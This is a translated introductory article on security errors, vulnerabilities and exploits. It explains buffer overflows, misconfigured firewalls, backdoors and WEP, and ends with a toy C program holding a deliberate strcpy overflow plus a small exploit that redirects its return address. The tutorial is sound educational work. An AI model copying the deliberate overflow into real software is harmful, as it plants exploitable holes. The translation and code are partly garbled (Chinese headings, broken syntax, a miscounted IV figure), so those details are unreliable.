Description of errors, vulnerabilities, and exploits _ security-related

Author: Mark Vogels
Translation: the soul [S.S.T]

In this document, I will try to provide you with a basic understanding of the bugs, the vulnerabilities that are caused by those errors, and their exploits. That does not mean that you can fully understand exploits and loopholes, but it can help you learn to understand possible vulnerabilities and how to deal with them.

There are generally 3 different types of errors that can compromise the security of your computer system and your network.
#编程错误
#配置错误
#设计错误

Mistakes can be seen as mistakes, although they are not all caused by accidents. The original creator of the software/device may have an error, create the error with the best idea, and not realize that it may be a potential threat. This may sound a bit confusing, but it will be clarified later in the article. To delve into the details of the error, we need to create a definition of the different types of bugs so that we can get to know them more easily.

Definitions of different error types

Programming Error:

Programming errors are usually caused by program writers. The most common programming error that can be exploited is a buffer overflow. Think of the buffer overflow as an empty cup: The user of the program is going to pour coffee into the cup, but the program writer doesn't know beforehand how much coffee the user will pour in. So the program writer must check and test the coffee before the user pours it into the cup to stop the coffee from spilling out of the cup. Sometimes it is not easy to check the input size, or because of time constraints, programmers do not have time to write a wide range of error detection functions. As a result, possible buffer overflows and other programming errors are created.

Another example of programming error is when a user does something unexpected, such as loading an incorrect type of file into a program, and the program crashes. Of course not all programming errors require user input to do something unexpected, such as crashing the program. A program will also depend on a particular file that is always in a clear location. If the file is moved and the programmer does not anticipate it, it is not possible for him to detect whether the file is still in that location before the program attempts to open it. This can lead to unpredictable behavior if the program tries to run it after opening the file.

These types of errors occur quite frequently, and most of the time vendors distribute patches to address reported errors by consumers or themselves.

Configuration error:

Imagine a configuration error: If you are a network administrator and you need to run a firewall to protect your network. Customarily, you will allow any incoming traffic, except for the type of traffic specifically rejected.

A simple example is that the firewall only blocks 80 ports, but it will allow anyone from the Internet to connect to the firewall's configuration page to reconfigure it. The rest of the ports are open. This is obviously a configuration error, and anyone can bypass the firewall by using another port number.

Luckily most vendors know this error, so they all do the opposite: any traffic is blocked unless specifically allowed. So since the port was shut down, the network administrator no longer needs to worry about discovering new problems and access his network through an unused port. (Here I use only ports to give examples, but this can also apply different types of traffic on the same port.) ）

Another example of a configuration error is the use of an managed hub in a network instead of a manageable switch. The difference is that the hub sends all incoming packets to all ports because it does not know which port the receiver behind it is positioned on, and the switch knows. So, running a sniffer in a network that uses a hub instead of a switch allows an attacker to view more packets containing a possible username and password, and the solution is to use the switch on the network. Even now this is a configuration error, but not in the past, because the switch does not exist at that time.
　　
Design Error:

Design errors can be viewed as errors that occur during the software design phase. Even if the programmer spends enough time writing the detection process before the software is released to test all user input, even if the software is properly configured by the end user, these errors can still pose a great danger to the security of a network.

Let's take a look at this: a company decides to develop a software that allows remote access to a network. They also had to support the software so they decided to put some back doors inside so that they could log in with the company name as a password. What happens if people outside the company find those back doors? He can log in to any network using remote access to that software. The result will be a heavy loss!

Although these backdoor doors have been created quite frequently in the past, a company that sells similar software now does not pose any risk because he is responsible for the abusive backdoor of attackers.

Another example of a design error is using WEP encryption in a secure wireless network. I'm not going to go into the details of why this is a design error, after all, that's beyond the scope of this article, but its basic process is this:
A 3-byte initialization vector is added to the public key to encrypt each unique packet. Suppose the public key is ABCDE. The initialization vector for the first packet is 123, so the entire key for this packet is 123ABCDE. The next packet's initialization vector is 234, then its key is 234ABCDE.

Design error Here is the fact that only 3 bytes of different initialization vectors led to 255^3, or 16.5 million different keys and partial encryption algorithms used. Some of the characters in the public key can be obtained fairly easily by the inverse analysis of some algorithms. As a result of this design error, you only need to use the unique initialization vector repeatedly sent 100,000 packets (64-bit), send 800,000 packets (128-bit), you can crack Wep-key, you can access the full wireless network. In a busy wireless network This can be done in a matter of hours.

So you see, design errors are a little more difficult to solve. You can't just expect the vendor to release a quick update to solve the problem, and you can't do it by looking at the product specification yourself. In the case of WEP encryption, a team created a new standard called WPA. This means that products that use WEP encryption should be replaced or updated by hardware to allow them to work with this new encryption standard. For a detailed description of the design errors found on WEP, check out the Airscanner. COM above the essence of the article.


How do these bugs become vulnerabilities?

A vulnerability is a weakness in the protection of the target. The target can be any part of a computer connected to a full network. I will not explain all the differences in the possible vulnerabilities here, because that is almost impossible, but I will try to point out what vulnerabilities are and how vulnerabilities are generated.

According to earlier rules, the most common programming error that would become a vulnerability was a buffer overflow. Suppose a stack-based buffer overflow, the buffer is placed on the stack. Stacks can be viewed as a temporary workspace where your processor stores data inside and works with it. Now, when you overflow a buffer placed in the stack, you can write data outside the allocated buffer, so you can write other data to the stack. Other data can be the return address of the calling function. Assuming the return address of the calling function is 12345678 and the return address is stored directly in the stack behind the buffer, the stack might look like this:
XXXXXXXXXX12345678

Xxxxxxxxxx is the buffer that will contain our input. If we put some data that is less than the size of the buffer in it, nothing strange will happen, but when we put 12 ' a ' in a buffer that can only host 10 characters, the extra 2 A will overwrite the return address part. This causes the return address to become an invalid address, and then the function cannot return, and the program crashes.

If this program is a server-side application, someone can put 12 A to crash the program and cause all other users to be inaccessible. This is an example of a denial of service attack. In this case, this error has a denial of service vulnerability.

If we use the same example as above, but for a larger buffer, the overflow buffer means that more data must be put in before an actual overflow occurs, but when that happens, we can write some computer code (assembler instructions) and use it as part of the data in the buffer. We override it to change the return address to point to the buffer behind our overflow, and the program will attempt to execute our buffer. At this point, the buffer contains the code we put in, and the program does not crash, but instead goes to execute our code. This type of code is often called Shellcode because the code can be a small piece of code that opens a shell (the command interpreter) and listens on a special port on that computer.

As the code runs, someone can connect to that particular port and execute remote commands, while gaining control of the same access that the user of the vulnerable application opens on the remote computer.

For configuration errors, if we look at the example of a firewall, the vulnerability is even more pronounced. If that firewall can be remotely configured via Telnet, then only 80 ports that do not allow access to the firewall will give the network administrator a security error, and the attacker will still be able to configure it by accessing Port 23, which is connected to the firewall.

However, since consumers began to demand that the products they purchased should have different configuration options, vendors began to develop high-level configurable software and equipment. This may make the configuration of a device become specialized and cause errors to occur easily. The configuration of a similar device is so complex that a vulnerability can be seen by the network administrator, allowing a potential attacker to access the part of the network or system that he should not have visited, so a simple configuration error can lead to a potential vulnerability in the network and the system.

I have given an example of a vulnerability caused by a design error: the WEP key, but it is easy to elicit another example of a design error: Imagine a software company writing a software to browse and create a text document. They want to sell their products, but as competitors ' software companies have developed a software that has the same functionality, they have to design a program that has more powerful features on the surface. So they decided to add a feature to allow users to have more control over the documents they created, so that users could write small functions (macros) and be implanted in documents, while helping the document viewer do all sorts of things on his computer. If all of these features are used by a malicious attacker, creating a document that has been embedded in a macro can replicate itself to all other documents found on the machine, and do all sorts of other things without the consent of the viewer. Then we have a possible vulnerability in this design-created program.

As you can see, an error can lead to a vulnerability. The idea of helping software users create more dynamic documents is great in situations where macros are used in a document, except for security considerations at design time.


So what is a exploit?

Exploit is a way to use a discovered vulnerability to change the initial function of a program or system. This approach is more useful for an attacker. In computer security, the term "exploit" is often used to describe a particular program, whose sole purpose is to automatically exploit a vulnerability to gain control over a vulnerable target program, or to terminate the normal function of the target program.

But using an incorrect configuration in a system or network can also be called a exploit for an attacker to exploit it, although it may not necessarily be a special program that actually completes the work.

I'll try to illustrate the role of a exploit through some examples of C code, one of which is a simple program with a buffer overflow vulnerability, and the other is exploit.

Note: The examples given here may be different in different compilers and systems. You may need to change the number of characters in the buffer to really overwrite the return address, or the exploitfunction address will be different, but they can still work.

VULNERABLE_PROGRAM.C:


Copy Code
#include "stdio. H
/* Use function * *
Exploitfunction ()
{
/* If the buffer overflow is successfully exploited, the content will be exported.
printf ("This line would be printed after successfully exploiting the buffer overflow.");
System ("pause");
ExitProcess (0);
}

Normalfunction (char *myargument)
{
Char buffer[10];
strcpy (buffer,myargument);
}

Main (int argc, char *argv[])
{
if (argc>1)
{
Normalfunction (argv[1]);
printf ("These lines get printed during normal execution with at least 1 commandline argument. The address of Exploitfunction
Is 0x%. 8X ", &exploitfunction);
}
Else
printf ("Please provide the" least 1 commandline argument. ");
ExitProcess (0);
}

I've created 3 functions, one is the main function, the other 2 are the normalfunction that are normally executed, and the use of function exploitfunction. The purpose of the program is to overflow the buffer so that the return address points to the Exploitfunction function that replaces the next instruction in the normalfunction.

Now we need to indicate how large the text string is to fully overwrite the return address in the stack. Have this as a goal, it is good to do! We add one character at a time until the program crashes.

After I compiled the program using Dev-cpp on a Windows system, I learned that I needed a maximum of 27 aces before the program crashed.
The address of the Exploitfunction function is represented in 16, and the byte value often shows that the address is a non printable character. I wrote a small program that would provide the vulnerable program with the necessary strings to exploit it.

In my environment, the address of the Exploitfunction function (which I can easily print from within a vulnerable program) is 0x00401290. Because the stack stores all of the data in reverse order on the Intel x86 system (which is not described in this document), we need to prepare an identical string. So the possible values are similar to the
0x41414141414141414141414141414141414141414141414141414141901240.

As you can see, here's the character ' A ' (0x41) I'm using the 16 representation, which is the real value stored in the stack. As a result, exploit is very simple:

EXPLOIT.C:


Copy Code
#include "stdio.h"
Main ()
{
Char workbuffer[200];
Char tempbuf[4];
strcpy (Workbuffer, "Vulnerable_program aaaaaaaaaaaaaaaaaaaaaaaaaaaa");
tempbuf[0]=0x90;
tempbuf[1]=0x12;
tempbuf[2]=0x40;
tempbuf[3]=0;
strcat (WORKBUFFER,TEMPBUF);
System (Workbuffer);
return 0;
}

What this program does is copy the string "Vulnerable_program aaaaaaaaaaaaaaaaaaaaaaaaaaaa" into a buffer and create another buffer with the new return address appended to the work buffer.
After that, the program calls system () to execute the commands in the string. The output results are:
C:>exploit.exe
This line is printed after successfully exploiting the buffer overflow.
Press any key to continue ...

Great, it's done!

Isn't that great?

Although we didn't actually get the program to run our own code, it was done with some minor changes.
For more information about buffer overflows, refer to the famous article written by Aleph One "smashing the stack for fun and profit"

After this article, you usually have to act on your own to prevent your system or network from being exploited by a known vulnerability. For configuration errors I recommend that you ask an expert to help you make the necessary configuration, so you don't have to fully understand how the product works before you use it. For programming and design errors, there are usually a lot of people doing product testing, while others are publishing vulnerabilities they find to some of the security lists on the Internet. So if you keep an eye on these safety lists and make sure you're updating your system to the latest version, you're close to a security environment.

――――――――――――――――――――――――――――――――――――――――――
Recent Security Programming Documentation:

"Exploiting Software how to break code"
Describes how to write exploit code.

"Learning XML, 2nd Edition"

"Writing Secure Code"
Microsoft's core recommendation to teach you how to write secure code

"OReilly Web Site Cookbook"
Create and manage manuals for your site, including a wide range of examples and solutions